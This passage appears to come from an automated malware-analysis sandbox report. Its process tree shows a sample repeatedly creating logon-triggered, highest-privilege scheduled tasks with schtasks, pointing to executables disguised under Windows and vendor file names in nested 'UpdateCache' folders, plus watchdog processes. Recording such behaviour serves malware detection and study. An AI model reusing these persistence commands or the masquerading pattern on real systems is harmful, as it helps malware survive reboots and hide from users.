    PID:5852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A20.tmp\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A20.tmp\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6404
- C:\Users\Admin\AppData\Roaming\SetProtect\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe
  "C:\Users\Admin\AppData\Roaming\SetProtect\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --watchdog-slave
  2⤵
  PID:1176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_3" /tr ""C:\ProgramData\MicrosoftService\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_3" /tr ""C:\ProgramData\MicrosoftService\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MuiUnattend_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0A.tmp\Logs\UpdateCache\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MuiUnattend_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0A.tmp\Logs\UpdateCache\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sc_6" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A74.tmp\Logs\UpdateCache\UpdateCache\sc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5272
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sc_6" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A74.tmp\Logs\UpdateCache\UpdateCache\sc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6316
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_shutdown_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EC.tmp\Logs\shutdown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_shutdown_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EC.tmp\Logs\shutdown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5516
- C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\wscript.exe
  "C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\wscript.exe" --watchdog-slave
  2⤵
  PID:7048
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wlanext_3" /tr ""C:\ProgramData\MicrosoftService\wlanext.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:7084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wlanext_3" /tr ""C:\ProgramData\MicrosoftService\wlanext.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_5" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_5" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MuiUnattend_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0A.tmp\Logs\UpdateCache\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MuiUnattend_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0A.tmp\Logs\UpdateCache\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5740
- C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe
  "C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --watchdog-slave
  2⤵
  PID:456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_1" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_1" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5336
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WWAHost_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\WWAHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WWAHost_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\WWAHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_replace_3" /tr ""C:\ProgramData\MicrosoftService\replace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_replace_3" /tr ""C:\ProgramData\MicrosoftService\replace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}\Logs\UpdateCache\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}\Logs\UpdateCache\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Roaming\FindFormat\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Roaming\FindFormat\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3656
- C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe
  "C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --watchdog-slave
  2⤵
  PID:1052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2124
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_4" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir3776_1656058629\Logs\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_4" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir3776_1656058629\Logs\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Roaming\FindFormat\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Roaming\FindFormat\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mtstocom_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mtstocom_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_7" /tr ""C:\ProgramData\MicrosoftService\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_7" /tr ""C:\ProgramData\MicrosoftService\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B9F.tmp\Logs\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B9F.tmp\Logs\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dvdplay_3" /tr ""C:\ProgramData\MicrosoftService\dvdplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dvdplay_3" /tr ""C:\ProgramData\MicrosoftService\dvdplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A52.tmp\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A52.tmp\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_driverquery_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\driverquery.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_driverquery_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\driverquery.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autoconv_7" /tr ""C:\ProgramData\MicrosoftService\autoconv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autoconv_7" /tr ""C:\ProgramData\MicrosoftService\autoconv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A39.tmp\Logs\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A39.tmp\Logs\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6024
- C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe
  "C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --watchdog-slave
  2⤵
  PID:3936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7028
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_3" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_3" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fixmapi_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\UpdateCache\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fixmapi_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\UpdateCache\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_5" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_5" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_shrpubw_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\shrpubw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_shrpubw_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\shrpubw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_where_7" /tr ""C:\ProgramData\MicrosoftService\where.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_where_7" /tr ""C:\ProgramData\MicrosoftService\where.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dpapimig_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1ACC.tmp\Logs\UpdateCache\dpapimig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dpapimig_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1ACC.tmp\Logs\UpdateCache\dpapimig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4208
- C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe
  "C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --watchdog-slave
  2⤵
  PID:3044
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5896
- C:\Windows\SysWOW64\cmd.exe
